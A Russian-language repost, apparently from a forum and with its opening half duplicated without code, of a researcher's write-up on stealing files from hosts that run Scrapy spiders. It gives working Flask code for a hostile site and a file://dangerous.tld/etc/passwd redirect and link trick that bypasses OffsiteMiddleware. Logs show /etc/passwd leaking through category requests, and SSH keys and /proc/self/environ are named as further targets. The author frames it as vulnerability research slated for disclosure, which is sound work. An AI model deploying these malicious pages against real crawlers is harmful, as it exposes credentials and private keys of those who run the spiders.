Пожалуйста, обратите внимание, что пользователь заблокирован
Эта статья снова основана на scrapy (версия 1.6.0 ), и я покажу две методики утечки файлов с хоста паука, однако это не так просто, так как веб-сайт должен соответствовать определенным требованиям, чтобы эта эксплуатация была успешной. Давайте начнем!
Структура сайта
Веб-сайты возвращают данные в нескольких форматах (
1. Если это не соответствует формату (по сравнению с , т.е. JSON ), то паук более терпим к обработке различных данных (ожидаемое содержимое по сравнению с введенным содержимым).
2. Большинство файлов можно читать как текстовые файлы
3. Это будет ясно позже.
Исходя из моего первого решения о формате данных, веб-сайт должен отвечать следующим требованиям:
Например, это может быть веб-сайт с конечной точкой карты сайта категории, которая возвращает список категорий, а затем паук запрашивает каждую из этих категорий.
Случай 1
Продолжая предыдущую идею, наш первый случай может быть нарисован именно под предпосылкой:
1.
2.
Используя Flask , мы можем создать веб-приложение, работающее по адресу
Если мы хотим получить количество продуктов, нам нужно создать паука- скрапа, например:
Этот паук переходит в конечную точку
Все работает хорошо, но как насчет того, чтобы сайт стал злостным актером?
Наш старый друг, перенаправь!
Как упоминалось в нашей предыдущей статье, есть проблема с OffsiteMiddleware и, по моим словам:
Хорошо, будучи злоумышленником, я мог изменить веб-приложение, чтобы создать перенаправление с конечной точки
Какой должен быть URL? Это своего рода SSRF (или, как я назвал « Подделка запросов со стороны паука »), тогда мы имеем:
1. Если паук работает в облаке, URL может быть URL-адресом метаданных .
2. Местные службы (как я делал в предыдущем посте)
3. Серверы локальной сети
Что-то другое? scrapy пытается имитировать поведение большинства браузеров, но это не настоящий браузер. Как он поддерживает запрос
Можем ли мы перенаправить
Теперь мы модифицируем наше вредоносное приложение, чтобы оно выглядело так:
При запуске паука на сервере мы получим следующий вывод:
С нашим вредоносным приложением мы успешно удалили файл
1.
2. Файлы в
3. Файлы типа
С этим пауком, чтобы получить закрытый ключ SSH, нам понадобится два запуска паука: один для получения
Важно отметить: поскольку scrapy выполняет асинхронные запросы, мы не можем гарантировать целостность отфильтрованного файла. Например, если мы exfiltrate файл, как частный ключ SSH, который содержит около 27 строк, мы получим его содержимое в случайном порядке, и нам придется как-то изменить порядок (я думаю, bruteforce), чтобы получить оригинальный файл.
Вариант 2
Теперь мы собираемся изменить веб-приложение. Иногда нам приходится посещать страницу, чтобы получить информацию на стороне сервера, необходимую для следующих шагов. В этом случае веб-приложение сгенерирует токен в
Шаблон
Паук для этого нового сайта должен быть таким:
В
Давайте теперь будем злыми!
В нашем приложении в конечной точке
Запустив паука (всегда в режиме отладки ) я получаю следующий вывод:
Ничего не случилось. Если мы вручную рассмотрим конечную точку, вот ответ:
Он правильно извлекается пауком, и запрос создается, но он не достигает вредоносного веб-сервера и не выдает никаких сообщений об ошибках. Мы должны копаться в этом.
Отладка
Моим первым подозреваемым было OffsiteMiddleware, потому что в случае с перенаправлением мы его избегаем, но, может быть, мы сейчас его достигаем , и поэтому запрос к
Аргумент
Короче говоря,
Наш
Может ли
Запустив паука снова, мы можем увидеть журнал exfiltrating
Выводы
Когда вы просматриваете веб-страницы, это происходит в одном направлении: паук извлекает информацию с веб-сайта, а не наоборот. Тем не менее, при наличии ряда факторов злоумышленники могут быть в состоянии отфильтровать данные с хостов пауков, неожиданно ставя под угрозу конфиденциальную информацию.
На мой взгляд, уроки из этого поста:
1. Запускайте своих пауков в изолированной среде.
2. Проблема перенаправления является серьезной уязвимостью.
Я собираюсь сообщить об этих проблемах и начать сотрудничать, чтобы найти решение с командой scrapy. Я надеюсь, что в следующем посте у меня будут новости об этих проблемах и о том, как мы их исправим.
Структура сайта
Веб-сайты возвращают данные в нескольких форматах (
html, xml, json, csv, plaintext и т. Д. ), и у эксплуатации, описанной в этой статье, существует тесная связь между форматом данных и структурой веб-сайта. Я собираюсь упростить сценарий, выбирая формат данных plaintext , так как:1. Если это не соответствует формату (по сравнению с , т.е. JSON ), то паук более терпим к обработке различных данных (ожидаемое содержимое по сравнению с введенным содержимым).
2. Большинство файлов можно читать как текстовые файлы
3. Это будет ясно позже.
Исходя из моего первого решения о формате данных, веб-сайт должен отвечать следующим требованиям:
У него должна быть конечная точка, возвращающая текстовые данные, которые используются для выполнения следующих запросов. Неважно, какой тип данных возвращают остальные конечные точки.
Например, это может быть веб-сайт с конечной точкой карты сайта категории, которая возвращает список категорий, а затем паук запрашивает каждую из этих категорий.
Случай 1
Продолжая предыдущую идею, наш первый случай может быть нарисован именно под предпосылкой:
1.
/sitemap содержит список категорий на сайте. Это список в виде простого текста, каждая категория которого разделена новой строкой (в виде plaintext ).2.
/ category? name = <category> возвращает количество товаров в категории.Используя Flask , мы можем создать веб-приложение, работающее по адресу
http: //dangerous.tld, и основной код будет выглядеть следующим образом:
Код:
import random
from flask import Flask, jsonify
app = Flask(__name__)
@app.route("/sitemap")
def sitemap():
""" Return category list """
categories = ["home", "kitchen", "sports", "beauty"]
return "\n".join(categories)
@app.route("/category")
def category():
return jsonify({"n_products": random.randint(0, 100)})
Если мы хотим получить количество продуктов, нам нужно создать паука- скрапа, например:
Код:
import json
import scrapy
from scrapy.http import Request
class CategorySpider(scrapy.Spider):
name = "category_spider"
allowed_domains = ["dangerous.tld"]
start_urls = ["http://dangerous.tld/sitemap"]
def parse(self, response):
for category in response.body.decode().splitlines():
yield Request(
f"http://dangerous.tld/category?name={category}", self.parse_category
)
def parse_category(self, response):
json_data = json.loads(response.body.decode())
return json_data
Этот паук переходит в конечную точку
/sitemap , получает список категорий и запрашивает страницу каждой из них, получая количество товаров в каждой категории. Это вывод паука:
Код:
2019-07-15 09:47:09 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/sitemap> (referer: None)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=beauty> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=sports> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=kitchen> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=home> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=beauty>
{'n_products': 68}
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=sports>
{'n_products': 2}
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=kitchen>
{'n_products': 3}
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=home>
{'n_products': 29}
2019-07-15 09:47:09 [scrapy.core.engine] INFO: Closing spider (finished)
Все работает хорошо, но как насчет того, чтобы сайт стал злостным актером?
Наш старый друг, перенаправь!
Как упоминалось в нашей предыдущей статье, есть проблема с OffsiteMiddleware и, по моим словам:
Тем не менее, интересное поведение происходит, когда есть запрос на страницу в разрешенном домене, но перенаправляет на недопустимый домен , так как он не будет отфильтрован и будет обработан пауком.
Хорошо, будучи злоумышленником, я мог изменить веб-приложение, чтобы создать перенаправление с конечной точки
/sitemap на URL-адрес по своему выбору. Когда паук запускается, он запрашивает конечную точку /sitemap и следует за перенаправлением, затем в методе parse он разбивает ответ по строкам и фильтрует содержимое в / category? Name = <line> , используя столько запросов, сколько строк в ответе.Какой должен быть URL? Это своего рода SSRF (или, как я назвал « Подделка запросов со стороны паука »), тогда мы имеем:
1. Если паук работает в облаке, URL может быть URL-адресом метаданных .
2. Местные службы (как я делал в предыдущем посте)
3. Серверы локальной сети
Что-то другое? scrapy пытается имитировать поведение большинства браузеров, но это не настоящий браузер. Как он поддерживает запрос
https или s3 URL? Он использует обработчики загрузчиков, а также обработчик файлов . Это позволяет поддерживать файловый протокол, тогда file:///etc/passwd является действительным URI, который будет преобразован в /etc/passwd в файловой системе паука .Можем ли мы перенаправить
/sitemap в file:///etc/passwd и отфильтровать этот файл? Да, мы преобразовываем это в SSRF + LFI.Теперь мы модифицируем наше вредоносное приложение, чтобы оно выглядело так:
Код:
@app.route("/sitemap")
def sitemap():
""" Return category list """
return redirect("file:///etc/passwd")
При запуске паука на сервере мы получим следующий вывод:
Код:
...]
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=rtkit:x:106:112:RealtimeKit,,,:/proc:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=_apt:x:104:65534::/nonexistent:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=messagebus:x:103:107::/nonexistent:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=syslog:x:102:106::/home/syslog:/usr/sbin/nologin HTTP/1.1" 200 -
[...]
С нашим вредоносным приложением мы успешно удалили файл
/etc/passwd с хоста паука. Поскольку конечная точка category возвращает ответ JSON, не заботясь о вводе, паук пропускает файл и не вызывает никаких ошибок. Какие другие конфиденциальные файлы доступны?1.
/proc/self/environ 2. Файлы в
/etc3. Файлы типа
/.dockerenv, если они существуютС этим пауком, чтобы получить закрытый ключ SSH, нам понадобится два запуска паука: один для получения
/etc/passwd, чтобы получить локального пользователя, а второй для попытки /home/<user>/.ssh/id_rsa . Я сделал нечто подобное в 2014 году в посте « Эксплуатация скребки».На самом деле, все зависит от комбинации структуры сайта + паука, сколько информации вы можете получить, и сколько пауков потребуется для этого. В худшем случае вы можете создать вредоносное приложение, которое создаст порочный круг и отфильтрует большое количество файлов за один запуск.
Важно отметить: поскольку scrapy выполняет асинхронные запросы, мы не можем гарантировать целостность отфильтрованного файла. Например, если мы exfiltrate файл, как частный ключ SSH, который содержит около 27 строк, мы получим его содержимое в случайном порядке, и нам придется как-то изменить порядок (я думаю, bruteforce), чтобы получить оригинальный файл.
Вариант 2
Теперь мы собираемся изменить веб-приложение. Иногда нам приходится посещать страницу, чтобы получить информацию на стороне сервера, необходимую для следующих шагов. В этом случае веб-приложение сгенерирует токен в
/token_sitemap, который нам нужно добавить к следующим запросам в /token_category . Вот новое приложение:
Код:
import random
import secrets
from flask import Flask, abort, jsonify, render_template, request
app = Flask(__name__)
TOKEN = secrets.token_hex(20)
@app.route("/token_sitemap")
def token_sitemap():
return render_template(
"first.html",
url=f"http://dangerous.tld/token_category?token={TOKEN}&category=home",
)
@app.route("/token_category")
def token_category():
token = request.args.get("token")
if not token or token != TOKEN:
abort(401)
categories = ["home", "kitchen", "sports", "beauty"]
return "\n".join(categories)
@app.route("/category")
def category():
return jsonify({"n_products": random.randint(0, 100)})
Шаблон
first.html прост, он повторяет параметр url в теге anchor:
Код:
<!doctype html>
<title>follow the link</title>
<body>
<a href="{{ url }}">click!</a>
</body>
Паук для этого нового сайта должен быть таким:
Код:
import json
import scrapy
from scrapy.http import Request
class TokenCategorySpider(scrapy.Spider):
name = "token_category_spider"
allowed_domains = ["dangerous.tld"]
start_urls = ["http://dangerous.tld/token_sitemap"]
def parse(self, response):
next_url = response.xpath("//a/@href").extract_first()
yield Request(next_url, self.parse_sitemap)
def parse_sitemap(self, response):
for category in response.body.decode().splitlines():
yield Request(
f"http://dangerous.tld/category?name={category}", self.parse_category
)
def parse_category(self, response):
json_data = json.loads(response.body.decode())
return json_data
В
parse он использует селектор XPath для получения полного URL-адреса (включая токен ) из тела ответа и запрашивает его. Паук работает и получает количество продуктов в категории.
Код:
2019-07-14 16:53:09 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_sitemap> (referer: None)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home> (referer: http://dangerous.tld/token_sitemap)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=beauty> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=sports> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=kitchen> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=home> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=beauty>
{'n_products': 49}
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=sports>
{'n_products': 65}
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=kitchen>
{'n_products': 90}
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=home>
{'n_products': 30}
2019-07-14 16:53:09 [scrapy.core.engine] INFO: Closing spider (finished)
Давайте теперь будем злыми!
В нашем приложении в конечной точке
token_sitemap мы передаем URL в шаблон. Что если мы изменим этот URL-адрес на file:///etc/passwd ? Это изменение:
Код:
@app.route("/token_sitemap")
def token_sitemap():
return render_template("first.html", url="file:///etc/passwd")
Запустив паука (всегда в режиме отладки ) я получаю следующий вывод:
Код:
2019-07-14 13:38:05 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-14 13:38:05 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_sitemap> (referer: None)
2019-07-14 13:38:05 [scrapy.core.engine] INFO: Closing spider (finished)
Ничего не случилось. Если мы вручную рассмотрим конечную точку, вот ответ:
Код:
HTTP/1.0 200 OK
Content-Length: 103
Content-Type: text/html; charset=utf-8
Date: Sun, 14 Jul 2019 11:42:56 GMT
Server: Werkzeug/0.15.2 Python/3.7.3
<!doctype html>
<title>follow the link</title>
<body>
<a href="file:///etc/passwd">click!</a>
</body>
Он правильно извлекается пауком, и запрос создается, но он не достигает вредоносного веб-сервера и не выдает никаких сообщений об ошибках. Мы должны копаться в этом.
Отладка
Моим первым подозреваемым было OffsiteMiddleware, потому что в случае с перенаправлением мы его избегаем, но, может быть, мы сейчас его достигаем , и поэтому запрос к
file:///etc/passwd не выполнен. Это тоже странно, потому что это промежуточное ПО обычно показывает внешние сообщения, но не в этом случае. Полный файл промежуточного кода здесь , но мы будем рассматривать только интересные детали:
Код:
def process_spider_output(self, response, result, spider):
for x in result:
if isinstance(x, Request):
if x.dont_filter or self.should_follow(x, spider):
yield x
else:
domain = urlparse_cached(x).hostname
if domain and domain not in self.domains_seen:
self.domains_seen.add(domain)
logger.debug(
"Filtered offsite request to %(domain)r: %(request)s",
{'domain': domain, 'request': x}, extra={'spider': spider})
self.stats.inc_value('offsite/domains', spider=spider)
self.stats.inc_value('offsite/filtered', spider=spider)
else:
yield x
def should_follow(self, request, spider):
regex = self.host_regex
# hostname can be None for wrong urls (like javascript links)
host = urlparse_cached(request).hostname or ''
return bool(regex.search(host))
Аргумент
result содержит наш объект url=file:///etc/passwd. В строке 4 есть проверка: первое условие x.dont_filter == False, а второе условие - логика, она находится в строке 18.Короче говоря,
should_follow() проверяет , соответствует ли имя хоста URL регулярному выражению host_regex. Это регулярное выражение связано с атрибутом allow_domains в пауке, затем оно проверяет, является ли имя хоста url опасным. Tld или его поддомен. Из консоли Python у нас есть это:
Код:
In [1]: print(urlparse("file:///etc/passwd").hostname)
None
Наш
url=file:///etc/passwd не имеет имени хоста, тогда проверка не проходит. Поток продолжается в строке 7, а строка 8 снова проверяет hostname нашего URL-адреса , так как значение None не вводит логику if, и поэтому предупреждение о удаленном удалении не выдается scrapy. В любом случае наш запрос будет отклонен.Может ли
URI файлового протокола иметь имя хоста? Я не знал, но согласно RFC , да. Принимая это во внимание, наш новый URL становится file://dangerous.tld/etc/passwd .
Код:
@app.route("/token_sitemap")
def token_sitemap():
return render_template("first.html", url="file://dangerous.tld/etc/passwd")
Запустив паука снова, мы можем увидеть журнал exfiltrating
/etc/passwd в обход OffsiteMiddleware :
Код:
[...]
2019-07-14 15:21:14 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_sitemap> (referer: None)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET file://dangerous.tld/etc/passwd> (referer: http://dangerous.tld/token_si
temap)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=pulse:x:116:121:PulseAudio%20daemon,,
,:/var/run/pulse:/usr/sbin/nologin> (referer: None)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=colord:x:114:120:colord%20colour%20ma
nagement%20daemon,,,:/var/lib/colord:/usr/sbin/nologin> (referer: None)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=kernoops:x:115:65534:Kernel%20Oops%20
Tracking%20Daemon,,,:/:/usr/sbin/nologin> (referer: None)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=whoopsie:x:113:119::/nonexistent:/bin
/false> (referer: None)
[...]
Выводы
Когда вы просматриваете веб-страницы, это происходит в одном направлении: паук извлекает информацию с веб-сайта, а не наоборот. Тем не менее, при наличии ряда факторов злоумышленники могут быть в состоянии отфильтровать данные с хостов пауков, неожиданно ставя под угрозу конфиденциальную информацию.
На мой взгляд, уроки из этого поста:
1. Запускайте своих пауков в изолированной среде.
2. Проблема перенаправления является серьезной уязвимостью.
Я собираюсь сообщить об этих проблемах и начать сотрудничать, чтобы найти решение с командой scrapy. Я надеюсь, что в следующем посте у меня будут новости об этих проблемах и о том, как мы их исправим.